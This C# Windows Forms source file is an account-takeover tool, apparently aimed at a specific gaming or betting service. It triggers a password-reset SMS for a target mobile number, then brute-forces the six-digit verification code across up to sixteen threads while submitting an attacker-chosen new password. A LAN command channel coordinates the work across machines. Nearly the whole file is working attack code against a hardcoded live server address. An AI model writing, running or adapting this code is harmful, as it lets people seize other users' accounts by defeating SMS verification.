﻿using Newtonsoft.Json;
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.IO;
using System.Linq;
using System.Net;
using System.Net.Sockets;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
using System.Windows.Forms;

namespace Main
{
    public partial class FormMain1 : Form
    {

        private static int RECEIVE_BUFFER_SIZE = 1024 * 16; //16K

        //选中的线程数量
        private int threadCheckNum = 10;
        private int speedNum = 100;
        private int startNumType = 0;
        private bool working = false;

        private int testedNum = 0;
        private int finishedNum = 0;

        private CancellationTokenSource stopToken;
        private CancellationTokenSource pauseToken;

        private List<ThreadTaskHolder> holderList = new List<ThreadTaskHolder>();

        private string paramT;
        private string paramID;

        private System.Threading.Timer timer;

        private Socket clientSocket;
        private Thread SocketThread;
        private Thread UpdateThread;
        private Thread ReceiveThread;

        

        public FormMain1()
        {
            InitializeComponent();
        }

        private void chkAll1_CheckedChanged(object sender, EventArgs e)
        {
            chk1.Checked = chkAll1.Checked;
            chk2.Checked = chkAll1.Checked;
            chk3.Checked = chkAll1.Checked;
            chk4.Checked = chkAll1.Checked;
            chk5.Checked = chkAll1.Checked;
            chk6.Checked = chkAll1.Checked;
            chk7.Checked = chkAll1.Checked;
            chk8.Checked = chkAll1.Checked;
        }

        private void chkAll2_CheckedChanged(object sender, EventArgs e)
        {
            chk9.Checked = chkAll2.Checked;
            chk10.Checked = chkAll2.Checked;
            chk11.Checked = chkAll2.Checked;
            chk12.Checked = chkAll2.Checked;
            chk13.Checked = chkAll2.Checked;
            chk14.Checked = chkAll2.Checked;
            chk15.Checked = chkAll2.Checked;
            chk16.Checked = chkAll2.Checked;
        }

        private void chk1_CheckedChanged(object sender, EventArgs e)
        {
            CheckBox chkBox = (CheckBox)sender;
            if(chkBox.Tag.ToString() != string.Empty)
            {
                int num = Int32.Parse(chkBox.Tag.ToString());
                TextBox txtStart = (TextBox)this.Controls["txtStart" + num];
                TextBox txtEnd = (TextBox)this.Controls["txtEnd" + num];
                TextBox txtResult = (TextBox)this.Controls["txtResult" + num];

                txtStart.Enabled = chkBox.Checked;
                txtEnd.Enabled = chkBox.Checked;
                txtResult.Enabled = chkBox.Checked;

                if(chkBox.Checked)
                {
                    threadCheckNum++;
                }else
                {
                    threadCheckNum--;
                }
            }


        }

        private void ClearResultControl()
        {
            string str = "000000";
            txtResult1.Text = str;
            txtResult2.Text = str;
            txtResult3.Text = str;
            txtResult4.Text = str;
            txtResult5.Text = str;
            txtResult6.Text = str;
            txtResult7.Text = str;
            txtResult8.Text = str;
            txtResult9.Text = str;
            txtResult10.Text = str;
            txtResult11.Text = str;
            txtResult12.Text = str;
            txtResult13.Text = str;
            txtResult14.Text = str;
            txtResult15.Text = str;
            txtResult16.Text = str;
        }

        private void btnFenPei_Click(object sender, EventArgs e)
        {
            if(threadCheckNum == 0)
            {
                return;
            }
            int sum = 0;
            try
            {
                sum = Int32.Parse(txtSum.Text);
            }
            catch (Exception)
            {
                MessageBox.Show("输入的数据不合法");
                return;
            }
            
            int pageSize = sum / threadCheckNum;
        }

        private void btnSend_Click(object sender, EventArgs e)
        {
            string mobile = this.txtMobile.Text;
            if(mobile == string.Empty)
            {
                MessageBox.Show("请输入手机号");
                return;
            }

            /*if(this.txtSufix.Text != string.Empty)
            {
                mobile = mobile + "_" + this.txtSufix.Text;
            }*/


            string paramT = CryptUtil.CreateMD5Hash(DateTime.Now.ToFileTime().ToString()).ToLower();
            Random rd = new Random();
            string paramID = rd.Next(100000, 999999).ToString();
            
            string sendCodeUrl = "https://47.112.103.115:9443/findPasswordCode?pid=11&mobile="+mobile+"&t="+ paramT + "&id="+ paramID;



            HttpWebResponse response = HttpRequest.CreateGetHttpResponse(sendCodeUrl);
            if (response.StatusCode != HttpStatusCode.OK)
            {
                MessageBox.Show("服务器响应异常，状态码:"+ response.StatusCode.ToString());
                return;
            }


            string serverResult = string.Empty;
            using (Stream responseStream = response.GetResponseStream())
            {
                using (StreamReader sread = new StreamReader(responseStream))
                {
                    serverResult = sread.ReadToEnd();
                }
            }

            serverResult = serverResult.Trim();
            if(serverResult == string.Empty)
            {
                MessageBox.Show("服务器相应内容空");
                return;
            }

            HuanLe.JinDiServerResult resultObj = JsonConvert.DeserializeObject<HuanLe.JinDiServerResult>(serverResult);
            if(resultObj.isSuccess())
            {
                txtParam.Text = paramT + "|" + paramID;
                this.paramT = paramT;
                this.paramID = paramID;

                Log(string.Format("短信发送成功 paramT={0} paramID={1}", paramT, paramID));
            }
            else
            {
                Log("短信发送失败，信息："+resultObj.msg);
            }

        }

        private void btnStart_Click(object sender, EventArgs e)
        {
            if(working)
            {
                MessageBox.Show("正在工作!!");
                return;
            }

            if(txtPassword.Text == string.Empty)
            {
                MessageBox.Show("密码不能为空");
                return;
            }

            if (txtParam.Text == string.Empty)
            {
                MessageBox.Show("参数不能为空");
                return;
            }

            if(threadCheckNum == 0)
            {
                MessageBox.Show("没有合适的线程");
                return;
            }

            DisabledUI(false);
            working = true;

            string password = CryptUtil.CreateMD5Hash(txtPassword.Text);
            string paramStr = txtParam.Text;
            string[] temp = paramStr.Split('|');
            this.paramT = temp[0];
            this.paramID = temp[1];
            this.speedNum = Int32.Parse(cmbSpeed.Text);
            this.startNumType = cmbStartNumType.SelectedIndex;

            Log(string.Format("使用参数 paramT={0} paramID={1}", this.paramT, this.paramID));

            holderList.Clear();

            //信号
            stopToken = new CancellationTokenSource();
            pauseToken = new CancellationTokenSource();

            //向线程池中添加任务
            for (int i = 0; i < threadCheckNum; i++)
            {
                ThreadTaskHolder holder = new ThreadTaskHolder();
                holder.TxtStart = (TextBox)this.Controls["txtStart" + (i + 1)];
                holder.TxtEnd = (TextBox)this.Controls["txtEnd" + (i + 1)];
                holder.TxtResult = (TextBox)this.Controls["txtResult" + (i + 1)];
                holder.ChkBox = (CheckBox)this.Controls["chk" + (i + 1)];
                holder.TxtResult.BackColor = System.Drawing.Color.White;
                holder.TxtResult.ForeColor = System.Drawing.Color.Black;
                holder.LoginId = txtMobile.Text + "_" + txtSufix.Text;
                holder.Password = password;
                holderList.Add(holder);
                holder.Disabled();
                ThreadPool.QueueUserWorkItem(new WaitCallback(TaskProc), holder);
            }

            /*timer = new System.Threading.Timer(delegate
            {
                
            },
            null,
            1000,
            1000);*/
        }


        /// <summary>
        /// 验证短信验证码的任务代码
        /// </summary>
        /// <param name="o"></param>
        private void TaskProc(object o)
        {
            int threadId = Thread.CurrentThread.ManagedThreadId;
            ThreadTaskHolder holder = (ThreadTaskHolder)o;
            int startNum = Int32.Parse(holder.TxtStart.Text);
            int endNum = Int32.Parse(holder.TxtEnd.Text);

            bool success = false;
            string currentCode = startNum.ToString().PadLeft(6, '0');
            do
            {
                Thread.Sleep(this.speedNum);


                if (stopToken.IsCancellationRequested)
                {
                    break;
                }

                bool isStop = false;
                while (pauseToken.IsCancellationRequested)
                {
                    if (stopToken.IsCancellationRequested)
                    {
                        isStop = true;
                        break;
                    }
                    Thread.Sleep(200);
                }
                if (isStop)
                {
                    break;
                }

                holder.UpdateCurrent(currentCode);

                string savePasswordUrl = string.Format("https://47.112.103.115:9443/savePassword?t={0}&id={1}", paramT, paramID);

                IDictionary<string, string> parameters = new Dictionary<string, string>();
                parameters.Add("validCode", currentCode);
                parameters.Add("loginPass", holder.Password);
                parameters.Add("account", holder.LoginId);

                string serverResult = string.Empty;
                try
                {
                    HttpWebResponse response = HttpRequest.CreatePostHttpResponse(savePasswordUrl, parameters, Encoding.Default);
                    if (response.StatusCode != HttpStatusCode.OK)
                    {
                        ThreadLog(threadId, string.Format("服务器响应异常，HTTP_CODE:{0} code:{1}" + response.StatusCode.ToString(), currentCode));
                        break;
                    }
                    
                    using (Stream responseStream = response.GetResponseStream())
                    {
                        using (StreamReader sread = new StreamReader(responseStream))
                        {
                            serverResult = sread.ReadToEnd();
                        }
                    }
                }
                catch (Exception e1)
                {
                    ThreadLog(threadId, string.Format("请求异常:{0} code:{1}",e1.Message, currentCode));
                    /*if (currentCode == holder.TxtEnd.Text)
                    {
                        ThreadLog(threadId, string.Format("{0}-{1} 测试完成，没有发现可用的验证码", holder.TxtStart.Text, holder.TxtEnd.Text));
                        break;
                    }
                    currentCode = GetNextCode(currentCode);*/
                    continue;
                }
                

                serverResult = serverResult.Trim();
                if (serverResult == string.Empty)
                {
                    ThreadLog(threadId,string.Format("服务器相应内容空 code:{0}", currentCode));
                    /*if (currentCode == holder.TxtEnd.Text)
                    {
                        ThreadLog(threadId, string.Format("{0}-{1} 测试完成，没有发现可用的验证码", holder.TxtStart.Text, holder.TxtEnd.Text));
                        break;
                    }
                    currentCode = GetNextCode(currentCode);*/
                    continue;
                }

                //更新已经测试的总数
                this.Invoke(new Action(() =>{
                    testedNum++;
                    labTestedNum.Text = testedNum.ToString();
                }));

                HuanLe.JinDiServerResult resultObj = JsonConvert.DeserializeObject<HuanLe.JinDiServerResult>(serverResult);
                ThreadLog(threadId, string.Format("服务器信息：{0} code:{1}", resultObj.msg, currentCode));
                if (resultObj.isSuccess())
                {
                    stopToken.Cancel();
                    success = true;
                    holder.Successed(currentCode);
                    ThreadLog(threadId,string.Format("密码修改成功 code:{0}",  currentCode));
                }
                else
                {
                    if(currentCode == holder.TxtEnd.Text)
                    {
                        ThreadLog(threadId, string.Format("{0}-{1} 测试完成，没有发现可用的验证码",holder.TxtStart.Text,holder.TxtEnd.Text));
                        break;
                    }

                    currentCode = GetNextCode(currentCode);
                }

            } while (!success);

            ThreadLog(threadId, "线程终止");
            
            this.Invoke(new Action(() =>
            {
                StopTask(holder);
            }));


            finishedNum++;
            //找到或者所有线程都结束了
            if (success || finishedNum == threadCheckNum)
            {
                finishedNum = 0;
                this.Invoke(new Action(() => {
                    DisabledUI(true);
                    working = false;
                }));
            }
            
        }

        private string GetNextCode(string currentCode)
        {
            int code = Int32.Parse(currentCode);

            if (startNumType == 0)
            {
                code++;
            }
            else if (startNumType == 1)
            {
                code--;
            }

            currentCode = code.ToString().PadLeft(6, '0');
            return currentCode;
        }

        private void StopTask(ThreadTaskHolder holder)
        {
            holder.Enabled();
        }

        private void btnPause_Click(object sender, EventArgs e)
        {
            if (!working)
            {
                return;
            }

            if(btnPause.Text == "暂停")
            {
                pauseToken.Cancel();
                btnPause.Text = "继续";
                return;
            }

            if(btnPause.Text == "继续")
            {
                btnPause.Text = "暂停";
                pauseToken = new CancellationTokenSource();
                this.speedNum = Int32.Parse(cmbSpeed.Text);
                return;
            }

            
        }

        private void btnStop_Click(object sender, EventArgs e)
        {
            if(!working)
            {
                return;
            }


            if(MessageBox.Show("工作中，确认终止吗?","警告",MessageBoxButtons.YesNo) == DialogResult.No)
            {
                return;
            }

            stopToken.Cancel();

            DisabledUI(true);
            working = false;
            finishedNum = 0;
            labTestedNum.Text = "N/A";
        }

        private void DisabledUI(bool flag)
        {
            this.txtMobile.Enabled = flag;
            this.txtSufix.Enabled = flag;
            this.txtParam.Enabled = flag;
            this.txtPassword.Enabled = flag;
            this.btnSend.Enabled = flag;
            this.btnFenPei.Enabled = flag;
            this.chkAll1.Enabled = flag;
            this.cmbStartNumType.Enabled = flag;
        }

        private void btnCopyParam_Click(object sender, EventArgs e)
        {
            Clipboard.SetDataObject(txtParam.Text);
        }

        private void FormMain1_Load(object sender, EventArgs e)
        {
            //线程池配置
            ThreadPool.SetMaxThreads(16, 16);
            ThreadPool.SetMinThreads(1, 1);

            stopToken = new CancellationTokenSource();
            pauseToken = new CancellationTokenSource();

            cmbSpeed.SelectedIndex = 6;
            cmbStartNumType.SelectedIndex = 0;
            cmbStartNumType.SelectedIndexChanged += new System.EventHandler(this.cmbStartNumType_SelectedIndexChanged);

            //Socket Thread
            SocketThread = new Thread(SocketThreadProc);
            SocketThread.IsBackground = true;
            SocketThread.Start();
        }


        private void SocketThreadProc()
        {
            clientSocket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
            IPAddress ip = IPAddress.Parse("192.168.1.245");
            IPEndPoint ipe = new IPEndPoint(ip, 9510);
            clientSocket.Connect(ipe);

            //UpdateThreadProc
            UpdateThread = new Thread(UpdateThreadProc);
            UpdateThread.IsBackground = true;
            UpdateThread.Start();

            //ReceiveThreadProc
            ReceiveThread = new Thread(ReceiveThreadProc);
            ReceiveThread.IsBackground = true;
            ReceiveThread.Start();
        }

        private void UpdateThreadProc()
        {
            while(true)
            {
                Thread.Sleep(1000);

                //上传客户端数据到服务器
                CmdData cmdData = new CmdData();
                cmdData.Cmd = "UPDATE_CLIENT";
                cmdData.ID = txtMobile.Text;
                cmdData.ThreadNum = 8;
                cmdData.ThreadStatus = 1;
                cmdData.Result = "123456";
                cmdData.CurrentCode = "100000";
                cmdData.CodeFrom = "100000";
                cmdData.CodeTo = "999999";

                this.sendCmdData(cmdData);
            }
        }

        private void ReceiveThreadProc()
        {
            while(true)
            {
                Thread.Sleep(1000);
                byte[] data = new byte[RECEIVE_BUFFER_SIZE];
                int c = clientSocket.Receive(data);
                if(c > 0)
                {
                    string receiveData = Encoding.Default.GetString(data).TrimEnd('\0');
                    string[] cmdList = receiveData.Trim().Split('$');

                    for (int i = 0; i < cmdList.Length; i++)
                    {

                        string cmdJson = cmdList[i];
                        if(cmdJson == null || cmdJson == string.Empty)
                        {
                            continue;
                        }

                        CmdData cmdData = JsonConvert.DeserializeObject<CmdData>(cmdJson);

                        if(cmdData.Cmd == "FEN_PEI")
                        {
                            Log("收到分配指令");
                        }
                        else if(cmdData.Cmd == "SETTING")
                        {
                            Log("收到设置指令");
                        }
                        else if(cmdData.Cmd == "START")
                        {
                            Log("收到开始指令");
                        }
                        else if(cmdData.Cmd == "STOP")
                        {
                            Log("收到停止指令");
                        }
                        else if(cmdData.Cmd == "PAUSE")
                        {
                            Log("收到暂停指令");
                        }
                    }
                    
                    
                }
            }
        }


        public void ThreadLog(int threadId,string message)
        {
            this.Log(string.Format("[线程{0}] {1}", threadId, message));
        }

        private void Log(string str)
        {
            this.txtLog.Invoke(new Action(() =>
            {
                if (this.txtLog.Lines.Length > 5000)
                {
                    this.txtLog.Clear();
                }
                DateTime dt = System.DateTime.Now;
                StringBuilder sb = new StringBuilder();
                sb.Append("[");
                sb.Append(dt.ToString("t"));
                sb.Append("]");
                sb.Append(" ");
                sb.Append(str);
                sb.Append("\r\n");
                this.txtLog.AppendText(sb.ToString());
            }));
            
        }

        private void btnClearLog_Click(object sender, EventArgs e)
        {
            txtLog.Clear();
        }

        private void cmbStartNumType_SelectedIndexChanged(object sender, EventArgs e)
        {
            changeTxtboxText(txtStart1, txtEnd1);
            changeTxtboxText(txtStart2, txtEnd2);
            changeTxtboxText(txtStart3, txtEnd3);
            changeTxtboxText(txtStart4, txtEnd4);
            changeTxtboxText(txtStart5, txtEnd5);
            changeTxtboxText(txtStart6, txtEnd6);
            changeTxtboxText(txtStart7, txtEnd7);
            changeTxtboxText(txtStart8, txtEnd8);
            changeTxtboxText(txtStart9, txtEnd9);
            changeTxtboxText(txtStart10, txtEnd10);
            changeTxtboxText(txtStart11, txtEnd11);
            changeTxtboxText(txtStart12, txtEnd12);
            changeTxtboxText(txtStart13, txtEnd13);
            changeTxtboxText(txtStart14, txtEnd14);
            changeTxtboxText(txtStart15, txtEnd15);
            changeTxtboxText(txtStart16, txtEnd16);
        }

        private void changeTxtboxText(TextBox txt1,TextBox txt2)
        {
            string temp = txt1.Text;
            txt1.Text = txt2.Text;
            txt2.Text = temp;
        }

        public void OnApplicationExit()
        {

            UpdateThread.Abort();
            ReceiveThread.Abort();

            Thread t = new Thread(ApplicationSendExit);
            t.Start();
            Thread.Sleep(500);
            t.Abort();            
        }

        private void ApplicationSendExit()
        {
            CmdData cmdData = new CmdData();
            cmdData.Cmd = "CLIENT_EXIT";
            this.sendCmdData(cmdData);
        }

        private void FormMain1_FormClosing(object sender, FormClosingEventArgs e)
        {
            OnApplicationExit();

        }


        private void sendCmdData(CmdData cmdData)
        {
            string json = JsonConvert.SerializeObject(cmdData, Formatting.Indented);
            json = json + "$";
            clientSocket.Send(Encoding.Default.GetBytes(json));
        }
    }
}
